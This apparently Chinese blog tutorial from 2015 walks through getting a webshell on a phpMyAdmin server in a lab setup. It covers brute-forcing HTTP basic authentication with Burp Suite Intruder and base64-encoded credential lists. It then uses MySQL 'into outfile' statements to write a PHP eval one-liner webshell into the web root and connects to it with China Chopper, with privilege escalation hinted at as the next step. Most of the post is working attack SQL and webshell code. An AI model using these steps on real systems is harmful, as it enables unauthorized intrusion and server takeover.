您的位置:首页 > 运维架构 > Shell

WEBSHELL姿势之SQL一句话

2015-10-26 22:37 489 查看
之前的两篇WEBSHELL姿势谈到了两种拿SHELL的方法(上传+解析漏洞、http-put/move方法),当然有时最简单的时候就是上传无限制,或者通过改filename后缀实现。这次我们要实验的就是通过phpMyAdmin来实现。

一般来说要利用SQL来实现一句话,有如下几种情况:

1.存在sql注入,在没有字符处理时可直接写入一句话(如Select '<? php eval($_POST[cmd]);?>' into outfile 'F:/wwwroot/shell.php');

2.利用phpMyAdmin写入一句话(前提登录phpMyAdmin)

3.其次利用注入登录应用系统,发现应用系统的其它漏洞,完成getshell。

0x00 实验环境

1.一个安装phpMyAdmin的windows环境

2.使用工具burpsuit(可使用其他相关工具替换)

0x01 发现phpMyAdmin

输入ip,我们发现应用是一个后台登录系统,使用burpsuit代理并将目标网站发送至spider进行网页爬取,在target中查看网站目录(适当调整fitler可显示多个目录)



0x02 暴力破解

我们访问目标网站http://10.1.1.10/phpMyAdmin,发现它需要认证(basic认证)



我们先尝试一下密码,并使用burpsuit查看发送的包信息



其中,YWRtaW46MTIzNDU2就是我们输入的用户名和密码BASE64格式,解码后为:admin:123456

我们直接把数据包发送至intruder模块就行暴力破解,配置如下:

1.仅设置YWRtaW46MTIzNDU2为payload maker

2.设置payload type为Custom iterator

3.通过load加载常用用户名进position1列表,配置position separator为:(冒号)

4.切换到position2,通过load加载常用口令进position2列表

5.在payload process中添加Encode-Base64 encode

6.start attack.



通过status,我们定位到一个200 OK的包,解码得到root:1234567890,登录

0x03 写入一句话

在写一句话之前,我们要先了解mysql写文件的基本语句:

select * from test into outfile '/xxx/xxx/test.txt'

写文件我们大致了解了,但是我们还缺少应用的路径,这里我们通过暴露的phpinfo文件得到了应用路径C:/xampp/xampp/htdocs



最后我们的一句话木马sql如下:

Drop TABLE IF EXISTS temp; //如果存在temp就删掉
Create TABLE temp(cmd text NOT NULL); //建立temp表,里面就一个cmd字段
Insert INTO temp (cmd) VALUES("<?php @eval($_POST['6um1n']);?>"); //把php一句话木马插入到temp表
Select cmd from temp into out file 'C:/xampp/xampp/htdocs/shell.php'; //查询temp表中的一句话并把结果导入到shell.php
Drop TABLE IF EXISTS temp; //删除temp

#以上也可简化为:
#Select "<?php @eval($_POST['6um1n']);?>" into outfile 'C:/xampp/xampp/htdocs/shell.php'

执行sql



0x04 菜刀



webshell至此完结,之后还可以完成提权等测试,这里就不再继续了。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息